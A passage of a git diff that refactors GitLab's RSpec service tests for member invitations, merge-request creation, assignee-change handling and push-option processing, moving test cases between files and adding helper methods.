+ described_class.new(user).execute(@group_member, skip_subresources: false)
+ end
+
+ it 'removes group members invited by deleted user' do
+ expect(group.members.not_accepted_invitations_by_user(member_user)).to be_empty
+ end
+
+ it 'removes project members invited by deleted user' do
+ expect(group_project.members.not_accepted_invitations_by_user(member_user)).to be_empty
+ end
+
+ it 'removes subgroup members invited by deleted user' do
+ expect(subgroup.members.not_accepted_invitations_by_user(member_user)).to be_empty
+ end
+
+ it 'removes subproject members invited by deleted user' do
+ expect(subsubproject.members.not_accepted_invitations_by_user(member_user)).to be_empty
+ end
+ end
end
end
diff --git a/spec/services/members/invite_service_spec.rb b/spec/services/members/invite_service_spec.rb
index cced93896a5..d7fd7d5b2ca 100644
--- a/spec/services/members/invite_service_spec.rb
+++ b/spec/services/members/invite_service_spec.rb
@@ -2,29 +2,43 @@
require 'spec_helper'
-RSpec.describe Members::InviteService, :aggregate_failures do
+RSpec.describe Members::InviteService, :aggregate_failures, :clean_gitlab_redis_shared_state, :sidekiq_inline do
let_it_be(:project) { create(:project) }
let_it_be(:user) { project.owner }
let_it_be(:project_user) { create(:user) }
+ let_it_be(:namespace) { project.namespace }
let(:params) { {} }
- let(:base_params) { { access_level: Gitlab::Access::GUEST } }
+ let(:base_params) { { access_level: Gitlab::Access::GUEST, source: project } }
- subject(:result) { described_class.new(user, base_params.merge(params)).execute(project) }
+ subject(:result) { described_class.new(user, base_params.merge(params) ).execute }
- context 'when email is previously unused by current members' do
+ context 'when there is a valid member invited' do
let(:params) { { email: 'email@example.org' } }
it 'successfully creates a member' do
- expect { result }.to change(ProjectMember, :count).by(1)
+ expect_to_create_members(count: 1)
expect(result[:status]).to eq(:success)
end
+
+ it_behaves_like 'records an onboarding progress action', :user_added
+ end
+
+ context 'when email is not a valid email' do
+ let(:params) { { email: '_bogus_' } }
+
+ it 'returns an error' do
+ expect_not_to_create_members
+ expect(result[:message]['_bogus_']).to eq("Invite email is invalid")
+ end
+
+ it_behaves_like 'does not record an onboarding progress action'
end
context 'when emails are passed as an array' do
let(:params) { { email: %w[email@example.org email2@example.org] } }
it 'successfully creates members' do
- expect { result }.to change(ProjectMember, :count).by(2)
+ expect_to_create_members(count: 2)
expect(result[:status]).to eq(:success)
end
end
@@ -33,25 +47,25 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: '' } }
it 'returns an error' do
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('Email cannot be blank')
+ expect_not_to_create_members
+ expect(result[:message]).to eq('Emails cannot be blank')
end
end
context 'when email param is not included' do
it 'returns an error' do
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('Email cannot be blank')
+ expect_not_to_create_members
+ expect(result[:message]).to eq('Emails cannot be blank')
end
end
- context 'when email is not a valid email' do
+ context 'when email is not a valid email format' do
let(:params) { { email: '_bogus_' } }
it 'returns an error' do
expect { result }.not_to change(ProjectMember, :count)
expect(result[:status]).to eq(:error)
- expect(result[:message]['_bogus_']).to eq("Invite email is invalid")
+ expect(result[:message][params[:email]]).to eq("Invite email is invalid")
end
end
@@ -59,7 +73,7 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: 'email@example.org,email@example.org' } }
it 'only creates one member per unique address' do
- expect { result }.to change(ProjectMember, :count).by(1)
+ expect_to_create_members(count: 1)
expect(result[:status]).to eq(:success)
end
end
@@ -71,8 +85,7 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: emails } }
it 'limits the number of emails to 100' do
- expect { result }.not_to change(ProjectMember, :count)
- expect(result[:status]).to eq(:error)
+ expect_not_to_create_members
expect(result[:message]).to eq('Too many users specified (limit is 100)')
end
end
@@ -81,8 +94,7 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: 'email@example.org,email2@example.org', limit: 1 } }
it 'limits the number of emails to the limit supplied' do
- expect { result }.not_to change(ProjectMember, :count)
- expect(result[:status]).to eq(:error)
+ expect_not_to_create_members
expect(result[:message]).to eq('Too many users specified (limit is 1)')
end
end
@@ -91,7 +103,7 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: emails, limit: -1 } }
it 'does not limit number of emails' do
- expect { result }.to change(ProjectMember, :count).by(101)
+ expect_to_create_members(count: 101)
expect(result[:status]).to eq(:success)
end
end
@@ -101,7 +113,7 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: project_user.email } }
it 'adds an existing user to members' do
- expect { result }.to change(ProjectMember, :count).by(1)
+ expect_to_create_members(count: 1)
expect(result[:status]).to eq(:success)
expect(project.users).to include project_user
end
@@ -111,9 +123,9 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: project_user.email, access_level: -1 } }
it 'returns an error' do
- expect { result }.not_to change(ProjectMember, :count)
- expect(result[:status]).to eq(:error)
- expect(result[:message][project_user.email]).to eq("Access level is not included in the list")
+ expect_not_to_create_members
+ expect(result[:message][project_user.email])
+ .to eq("Access level is not included in the list")
end
end
@@ -122,9 +134,10 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: "#{invited_member.invite_email},#{project_user.email}" } }
it 'adds new email and returns an error for the already invited email' do
- expect { result }.to change(ProjectMember, :count).by(1)
+ expect_to_create_members(count: 1)
expect(result[:status]).to eq(:error)
- expect(result[:message][invited_member.invite_email]).to eq("Member already invited to #{project.name}")
+ expect(result[:message][invited_member.invite_email])
+ .to eq("Invite email has already been taken")
expect(project.users).to include project_user
end
end
@@ -134,10 +147,10 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: "#{requested_member.user.email},#{project_user.email}" } }
it 'adds new email and returns an error for the already invited email' do
- expect { result }.to change(ProjectMember, :count).by(1)
+ expect_to_create_members(count: 1)
expect(result[:status]).to eq(:error)
expect(result[:message][requested_member.user.email])
- .to eq("Member cannot be invited because they already requested to join #{project.name}")
+ .to eq("User already exists in source")
expect(project.users).to include project_user
end
end
@@ -147,10 +160,20 @@ RSpec.describe Members::InviteService, :aggregate_failures do
let(:params) { { email: "#{existing_member.user.email},#{project_user.email}" } }
it 'adds new email and returns an error for the already invited email' do
- expect { result }.to change(ProjectMember, :count).by(1)
+ expect_to_create_members(count: 1)
expect(result[:status]).to eq(:error)
- expect(result[:message][existing_member.user.email]).to eq("Already a member of #{project.name}")
+ expect(result[:message][existing_member.user.email])
+ .to eq("User already exists in source")
expect(project.users).to include project_user
end
end
+
+ def expect_to_create_members(count:)
+ expect { result }.to change(ProjectMember, :count).by(count)
+ end
+
+ def expect_not_to_create_members
+ expect { result }.not_to change(ProjectMember, :count)
+ expect(result[:status]).to eq(:error)
+ end
end
diff --git a/spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb b/spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb
index 3c81ad6722d..6edaa91b8b2 100644
--- a/spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb
+++ b/spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequests::AddTodoWhenBuildFailsService do
+RSpec.describe ::MergeRequests::AddTodoWhenBuildFailsService do
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
let(:sha) { '1234567890abcdef1234567890abcdef12345678' }
@@ -24,8 +24,8 @@ RSpec.describe MergeRequests::AddTodoWhenBuildFailsService do
before do
allow_any_instance_of(MergeRequest)
- .to receive(:head_pipeline)
- .and_return(pipeline)
+ .to receive(:head_pipeline_id)
+ .and_return(pipeline.id)
allow(service).to receive(:todo_service).and_return(todo_service)
end
diff --git a/spec/services/merge_requests/after_create_service_spec.rb b/spec/services/merge_requests/after_create_service_spec.rb
index dce351d8a31..e1f28e32164 100644
--- a/spec/services/merge_requests/after_create_service_spec.rb
+++ b/spec/services/merge_requests/after_create_service_spec.rb
@@ -93,5 +93,109 @@ RSpec.describe MergeRequests::AfterCreateService do
expect(merge_request.reload).to be_unchecked
end
end
+
+ it 'increments the usage data counter of create event' do
+ counter = Gitlab::UsageDataCounters::MergeRequestCounter
+
+ expect { execute_service }.to change { counter.read(:create) }.by(1)
+ end
+
+ context 'with a milestone' do
+ let(:milestone) { create(:milestone, project: merge_request.target_project) }
+
+ before do
+ merge_request.update!(milestone_id: milestone.id)
+ end
+
+ it 'deletes the cache key for milestone merge request counter', :use_clean_rails_memory_store_caching do
+ expect_next_instance_of(Milestones::MergeRequestsCountService, milestone) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
+
+ execute_service
+ end
+ end
+
+ context 'todos' do
+ it 'does not creates todos' do
+ attributes = {
+ project: merge_request.target_project,
+ target_id: merge_request.id,
+ target_type: merge_request.class.name
+ }
+
+ expect { execute_service }.not_to change { Todo.where(attributes).count }
+ end
+
+ context 'when merge request is assigned to someone' do
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request, assignees: [assignee]) }
+
+ it 'creates a todo for new assignee' do
+ attributes = {
+ project: merge_request.target_project,
+ author: merge_request.author,
+ user: assignee,
+ target_id: merge_request.id,
+ target_type: merge_request.class.name,
+ action: Todo::ASSIGNED,
+ state: :pending
+ }
+
+ expect { execute_service }.to change { Todo.where(attributes).count }.by(1)
+ end
+ end
+
+ context 'when reviewer is assigned' do
+ let_it_be(:reviewer) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request, reviewers: [reviewer]) }
+
+ it 'creates a todo for new reviewer' do
+ attributes = {
+ project: merge_request.target_project,
+ author: merge_request.author,
+ user: reviewer,
+ target_id: merge_request.id,
+ target_type: merge_request.class.name,
+ action: Todo::REVIEW_REQUESTED,
+ state: :pending
+ }
+
+ expect { execute_service }.to change { Todo.where(attributes).count }.by(1)
+ end
+ end
+ end
+
+ context 'when saving references to issues that the created merge request closes' do
+ let_it_be(:first_issue) { create(:issue, project: merge_request.target_project) }
+ let_it_be(:second_issue) { create(:issue, project: merge_request.target_project) }
+
+ it 'creates a `MergeRequestsClosingIssues` record for each issue' do
+ merge_request.description = "Closes #{first_issue.to_reference} and #{second_issue.to_reference}"
+ merge_request.source_branch = "feature"
+ merge_request.target_branch = merge_request.target_project.default_branch
+ merge_request.save!
+
+ execute_service
+
+ issue_ids = MergeRequestsClosingIssues.where(merge_request: merge_request).pluck(:issue_id)
+ expect(issue_ids).to match_array([first_issue.id, second_issue.id])
+ end
+ end
+
+ it 'tracks merge request creation in usage data' do
+ expect(Gitlab::UsageDataCounters::MergeRequestCounter).to receive(:count).with(:create)
+
+ execute_service
+ end
+
+ it 'calls MergeRequests::LinkLfsObjectsService#execute' do
+ service = instance_spy(MergeRequests::LinkLfsObjectsService)
+ allow(MergeRequests::LinkLfsObjectsService).to receive(:new).with(merge_request.target_project).and_return(service)
+
+ execute_service
+
+ expect(service).to have_received(:execute).with(merge_request)
+ end
end
end
diff --git a/spec/services/merge_requests/base_service_spec.rb b/spec/services/merge_requests/base_service_spec.rb
index 83431105545..d8ba2bc43fb 100644
--- a/spec/services/merge_requests/base_service_spec.rb
+++ b/spec/services/merge_requests/base_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe MergeRequests::BaseService do
include ProjectForksHelper
let_it_be(:project) { create(:project, :repository) }
+
let(:title) { 'Awesome merge_request' }
let(:params) do
{
diff --git a/spec/services/merge_requests/create_pipeline_service_spec.rb b/spec/services/merge_requests/create_pipeline_service_spec.rb
index 4dd70627977..3e2e940dc24 100644
--- a/spec/services/merge_requests/create_pipeline_service_spec.rb
+++ b/spec/services/merge_requests/create_pipeline_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe MergeRequests::CreatePipelineService do
let_it_be(:project, reload: true) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:service) { described_class.new(project, actor, params) }
let(:actor) { user }
let(:params) { {} }
@@ -50,6 +51,7 @@ RSpec.describe MergeRequests::CreatePipelineService do
context 'with fork merge request' do
let_it_be(:forked_project) { fork_project(project, nil, repository: true, target_project: create(:project, :private, :repository)) }
+
let(:source_project) { forked_project }
context 'when actor has permission to create pipelines in target project' do
diff --git a/spec/services/merge_requests/create_service_spec.rb b/spec/services/merge_requests/create_service_spec.rb
index 4f47a22b07c..f2bc55103f0 100644
--- a/spec/services/merge_requests/create_service_spec.rb
+++ b/spec/services/merge_requests/create_service_spec.rb
@@ -47,16 +47,6 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
.to change { project.open_merge_requests_count }.from(0).to(1)
end
- it 'does not creates todos' do
- attributes = {
- project: project,
- target_id: merge_request.id,
- target_type: merge_request.class.name
- }
-
- expect(Todo.where(attributes).count).to be_zero
- end
-
it 'creates exactly 1 create MR event', :sidekiq_might_not_need_inline do
attributes = {
action: :created,
@@ -67,6 +57,10 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
expect(Event.where(attributes).count).to eq(1)
end
+ it 'sets the merge_status to preparing' do
+ expect(merge_request.reload).to be_preparing
+ end
+
describe 'when marked with /wip' do
context 'in title and in description' do
let(:opts) do
@@ -113,20 +107,6 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
it { expect(merge_request.assignees).to eq([user2]) }
-
- it 'creates a todo for new assignee' do
- attributes = {
- project: project,
- author: user,
- user: user2,
- target_id: merge_request.id,
- target_type: merge_request.class.name,
- action: Todo::ASSIGNED,
- state: :pending
- }
-
- expect(Todo.where(attributes).count).to eq 1
- end
end
context 'when reviewer is assigned' do
@@ -142,20 +122,6 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
it { expect(merge_request.reviewers).to eq([user2]) }
- it 'creates a todo for new reviewer' do
- attributes = {
- project: project,
- author: user,
- user: user2,
- target_id: merge_request.id,
- target_type: merge_request.class.name,
- action: Todo::REVIEW_REQUESTED,
- state: :pending
- }
-
- expect(Todo.where(attributes).count).to eq 1
- end
-
it 'invalidates counter cache for reviewers', :use_clean_rails_memory_store_caching do
expect { merge_request }
.to change { user2.review_requested_open_merge_requests_count }
@@ -328,12 +294,6 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
end
- it 'increments the usage data counter of create event' do
- counter = Gitlab::UsageDataCounters::MergeRequestCounter
-
- expect { service.execute }.to change { counter.read(:create) }.by(1)
- end
-
context 'after_save callback to store_mentions' do
let(:labels) { create_pair(:label, project: project) }
let(:milestone) { create(:milestone, project: project) }
@@ -494,35 +454,6 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
end
- context 'while saving references to issues that the created merge request closes' do
- let(:first_issue) { create(:issue, project: project) }
- let(:second_issue) { create(:issue, project: project) }
-
- let(:opts) do
- {
- title: 'Awesome merge_request',
- source_branch: 'feature',
- target_branch: 'master',
- force_remove_source_branch: '1'
- }
- end
-
- before do
- project.add_maintainer(user)
- project.add_developer(user2)
- end
-
- it 'creates a `MergeRequestsClosingIssues` record for each issue' do
- issue_closing_opts = opts.merge(description: "Closes #{first_issue.to_reference} and #{second_issue.to_reference}")
- service = described_class.new(project, user, issue_closing_opts)
- allow(service).to receive(:execute_hooks)
- merge_request = service.execute
-
- issue_ids = MergeRequestsClosingIssues.where(merge_request: merge_request).pluck(:issue_id)
- expect(issue_ids).to match_array([first_issue.id, second_issue.id])
- end
- end
-
context 'when source and target projects are different' do
let(:target_project) { fork_project(project, nil, repository: true) }
@@ -571,14 +502,6 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
expect(merge_request).to be_persisted
end
- it 'calls MergeRequests::LinkLfsObjectsService#execute', :sidekiq_might_not_need_inline do
- expect_next_instance_of(MergeRequests::LinkLfsObjectsService) do |service|
- expect(service).to receive(:execute).with(instance_of(MergeRequest))
- end
-
- described_class.new(project, user, opts).execute
- end
-
it 'does not create the merge request when the target project is archived' do
target_project.update!(archived: true)
diff --git a/spec/services/merge_requests/export_csv_service_spec.rb b/spec/services/merge_requests/export_csv_service_spec.rb
index 4ce032c396e..97217e979a5 100644
--- a/spec/services/merge_requests/export_csv_service_spec.rb
+++ b/spec/services/merge_requests/export_csv_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe MergeRequests::ExportCsvService do
let_it_be(:merge_request) { create(:merge_request) }
+
let(:csv) { CSV.parse(subject.csv_data, headers: true).first }
subject { described_class.new(MergeRequest.where(id: merge_request.id), merge_request.project) }
@@ -46,6 +47,7 @@ RSpec.describe MergeRequests::ExportCsvService do
describe 'approvers' do
context 'when approved' do
let_it_be(:merge_request) { create(:merge_request) }
+
let(:approvers) { create_list(:user, 2) }
before do
diff --git a/spec/services/merge_requests/handle_assignees_change_service_spec.rb b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
new file mode 100644
index 00000000000..cc595aab04b
--- /dev/null
+++ b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::HandleAssigneesChangeService do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request, author: user, source_project: project, assignees: [assignee]) }
+ let_it_be(:old_assignees) { create_list(:user, 3) }
+
+ let(:options) { {} }
+ let(:service) { described_class.new(project, user) }
+
+ before_all do
+ project.add_maintainer(user)
+ project.add_developer(assignee)
+
+ old_assignees.each do |old_assignee|
+ project.add_developer(old_assignee)
+ end
+ end
+
+ describe '#async_execute' do
+ def async_execute
+ service.async_execute(merge_request, old_assignees, options)
+ end
+
+ it 'performs MergeRequests::HandleAssigneesChangeWorker asynchronously' do
+ expect(MergeRequests::HandleAssigneesChangeWorker)
+ .to receive(:perform_async)
+ .with(
+ merge_request.id,
+ user.id,
+ old_assignees.map(&:id),
+ options
+ )
+
+ async_execute
+ end
+
+ context 'when async_handle_merge_request_assignees_change feature is disabled' do
+ before do
+ stub_feature_flags(async_handle_merge_request_assignees_change: false)
+ end
+
+ it 'calls #execute' do
+ expect(service).to receive(:execute).with(merge_request, old_assignees, options)
+
+ async_execute
+ end
+ end
+ end
+
+ describe '#execute' do
+ def execute
+ service.execute(merge_request, old_assignees, options)
+ end
+
+ it 'creates assignee note' do
+ execute
+
+ note = merge_request.notes.last
+
+ expect(note).not_to be_nil
+ expect(note.note).to include "assigned to #{assignee.to_reference} and unassigned #{old_assignees.map(&:to_reference).to_sentence}"
+ end
+
+ it 'sends email notifications to old and new assignees', :mailer, :sidekiq_inline do
+ perform_enqueued_jobs do
+ execute
+ end
+
+ should_email(assignee)
+ old_assignees.each do |old_assignee|
+ should_email(old_assignee)
+ end
+ end
+
+ it 'creates pending todo for assignee' do
+ execute
+
+ todo = assignee.todos.last
+
+ expect(todo).to be_pending
+ end
+
+ it 'tracks users assigned event' do
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to receive(:track_users_assigned_to_mr).once.with(users: [assignee])
+
+ execute
+ end
+
+ it 'tracks assignees changed event' do
+ expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
+ .to receive(:track_assignees_changed_action).once.with(user: user)
+
+ execute
+ end
+
+ context 'when execute_hooks option is set to true' do
+ let(:options) { { execute_hooks: true } }
+
+ it 'execute hooks and services' do
+ expect(merge_request.project).to receive(:execute_hooks).with(anything, :merge_request_hooks)
+ expect(merge_request.project).to receive(:execute_services).with(anything, :merge_request_hooks)
+ expect(service).to receive(:enqueue_jira_connect_messages_for).with(merge_request)
+
+ execute
+ end
+ end
+ end
+end
diff --git a/spec/services/merge_requests/merge_orchestration_service_spec.rb b/spec/services/merge_requests/merge_orchestration_service_spec.rb
index 67dbb5a1a01..da37cc97857 100644
--- a/spec/services/merge_requests/merge_orchestration_service_spec.rb
+++ b/spec/services/merge_requests/merge_orchestration_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe MergeRequests::MergeOrchestrationService do
let_it_be(:maintainer) { create(:user) }
+
let(:merge_params) { { sha: merge_request.diff_head_sha } }
let(:user) { maintainer }
let(:service) { described_class.new(project, user, merge_params) }
diff --git a/spec/services/merge_requests/merge_service_spec.rb b/spec/services/merge_requests/merge_service_spec.rb
index 87e5750ce6e..c73cbad9d2f 100644
--- a/spec/services/merge_requests/merge_service_spec.rb
+++ b/spec/services/merge_requests/merge_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe MergeRequests::MergeService do
let_it_be(:user) { create(:user) }
let_it_be(:user2) { create(:user) }
+
let(:merge_request) { create(:merge_request, :simple, author: user2, assignees: [user2]) }
let(:project) { merge_request.project }
@@ -166,20 +167,6 @@ RSpec.describe MergeRequests::MergeService do
service.execute(merge_request)
end
- context 'when jira_issue_transition_id is not present' do
- before do
- allow_any_instance_of(JIRA::Resource::Issue).to receive(:resolution).and_return(nil)
- end
-
- it 'does not close issue' do
- jira_tracker.update!(jira_issue_transition_id: nil)
-
- expect_any_instance_of(JiraService).not_to receive(:transition_issue)
-
- service.execute(merge_request)
- end
- end
-
context 'wrong issue markdown' do
it 'does not close issues on Jira issue tracker' do
jira_issue = ExternalIssue.new('#JIRA-123', project)
diff --git a/spec/services/merge_requests/merge_to_ref_service_spec.rb b/spec/services/merge_requests/merge_to_ref_service_spec.rb
index 14ef5b0b772..938165a807c 100644
--- a/spec/services/merge_requests/merge_to_ref_service_spec.rb
+++ b/spec/services/merge_requests/merge_to_ref_service_spec.rb
@@ -68,6 +68,7 @@ RSpec.describe MergeRequests::MergeToRefService do
end
let_it_be(:user) { create(:user) }
+
let(:merge_request) { create(:merge_request, :simple) }
let(:project) { merge_request.project }
@@ -226,6 +227,7 @@ RSpec.describe MergeRequests::MergeToRefService do
describe 'cascading merge refs' do
let_it_be(:project) { create(:project, :repository) }
+
let(:params) { { commit_message: 'Cascading merge', first_parent_ref: first_parent_ref, target_ref: target_ref, sha: merge_request.diff_head_sha } }
context 'when first merge happens' do
@@ -257,8 +259,9 @@ RSpec.describe MergeRequests::MergeToRefService do
let(:params) { { allow_conflicts: true } }
it 'calls merge_to_ref with allow_conflicts param' do
- expect(project.repository).to receive(:merge_to_ref)
- .with(anything, anything, anything, anything, anything, anything, true)
+ expect(project.repository).to receive(:merge_to_ref) do |user, **kwargs|
+ expect(kwargs[:allow_conflicts]).to eq(true)
+ end.and_call_original
service.execute(merge_request)
end
diff --git a/spec/services/merge_requests/push_options_handler_service_spec.rb b/spec/services/merge_requests/push_options_handler_service_spec.rb
index c2769d4fa88..b5086ea3a82 100644
--- a/spec/services/merge_requests/push_options_handler_service_spec.rb
+++ b/spec/services/merge_requests/push_options_handler_service_spec.rb
@@ -6,10 +6,12 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
include ProjectForksHelper
let_it_be(:project) { create(:project, :public, :repository) }
- let_it_be(:user) { create(:user, developer_projects: [project]) }
- let_it_be(:forked_project) { fork_project(project, user, repository: true) }
+ let_it_be(:user1) { create(:user, developer_projects: [project]) }
+ let_it_be(:user2) { create(:user, developer_projects: [project]) }
+ let_it_be(:user3) { create(:user, developer_projects: [project]) }
+ let_it_be(:forked_project) { fork_project(project, user1, repository: true) }
- let(:service) { described_class.new(project, user, changes, push_options) }
+ let(:service) { described_class.new(project, user1, changes, push_options) }
let(:source_branch) { 'fix' }
let(:target_branch) { 'feature' }
let(:title) { 'my title' }
@@ -23,32 +25,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
let(:default_branch_changes) { "d14d6c0abdd253381df51a723d58691b2ee1ab08 570e7b2abdd848b95f2f578043fc23bd6f6fd24d refs/heads/#{project.default_branch}" }
let(:error_mr_required) { "A merge_request.create push option is required to create a merge request for branch #{source_branch}" }
- shared_examples_for 'a service that can create a merge request' do
- subject(:last_mr) { MergeRequest.last }
-
- it 'creates a merge request with the correct target branch and assigned user' do
- branch = push_options[:target] || project.default_branch
-
- expect { service.execute }.to change { MergeRequest.count }.by(1)
- expect(last_mr.target_branch).to eq(branch)
- expect(last_mr.assignees).to contain_exactly(user)
- end
-
- context 'when project has been forked', :sidekiq_might_not_need_inline do
- let(:forked_project) { fork_project(project, user, repository: true) }
- let(:service) { described_class.new(forked_project, user, changes, push_options) }
-
- before do
- allow(forked_project).to receive(:empty_repo?).and_return(false)
- end
-
- it 'sets the correct source and target project' do
- service.execute
-
- expect(last_mr.source_project).to eq(forked_project)
- expect(last_mr.target_project).to eq(project)
- end
- end
+ before do
+ stub_licensed_features(multiple_merge_request_assignees: false)
end
shared_examples_for 'a service that can set the target of a merge request' do
@@ -91,7 +69,7 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
expect(last_mr.auto_merge_enabled).to eq(true)
expect(last_mr.auto_merge_strategy).to eq(AutoMergeService::STRATEGY_MERGE_WHEN_PIPELINE_SUCCEEDS)
- expect(last_mr.merge_user).to eq(user)
+ expect(last_mr.merge_user).to eq(user1)
expect(last_mr.merge_params['sha']).to eq(change[:newrev])
end
end
@@ -116,12 +94,6 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
end
end
- shared_examples_for 'a service that does not create a merge request' do
- it do
- expect { service.execute }.not_to change { MergeRequest.count }
- end
- end
-
shared_examples_for 'a service that does not update a merge request' do
it do
expect { service.execute }.not_to change { MergeRequest.maximum(:updated_at) }
@@ -133,6 +105,18 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
include_examples 'a service that does not update a merge request'
end
+ shared_examples 'with a deleted branch' do
+ let(:changes) { deleted_branch_changes }
+
+ it_behaves_like 'a service that does nothing'
+ end
+
+ shared_examples 'with the project default branch' do
+ let(:changes) { default_branch_changes }
+
+ it_behaves_like 'a service that does nothing'
+ end
+
describe '`create` push option' do
let(:push_options) { { create: true } }
@@ -155,17 +139,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that does not create a merge request'
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`merge_when_pipeline_succeeds` push option' do
@@ -217,17 +192,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can set the merge request to merge when pipeline succeeds'
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`remove_source_branch` push option' do
@@ -239,11 +205,9 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that does not create a merge request'
it 'adds an error to the service' do
- error = "A merge_request.create push option is required to create a merge request for branch #{source_branch}"
-
service.execute
- expect(service.errors).to include(error)
+ expect(service.errors).to include(error_mr_required)
end
context 'when coupled with the `create` push option' do
@@ -281,17 +245,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can remove the source branch when it is merged'
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`target` push option' do
@@ -343,17 +298,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can set the target of a merge request'
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`title` push option' do
@@ -405,17 +351,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can set the title of a merge request'
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`description` push option' do
@@ -467,17 +404,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can set the description of a merge request'
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`label` push option' do
@@ -529,17 +457,8 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can change labels of a merge request', 2
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
-
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
-
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe '`unlabel` push option' do
@@ -551,11 +470,9 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that does not create a merge request'
it 'adds an error to the service' do
- error = "A merge_request.create push option is required to create a merge request for branch #{source_branch}"
-
service.execute
- expect(service.errors).to include(error)
+ expect(service.errors).to include(error_mr_required)
end
context 'when coupled with the `create` push option' do
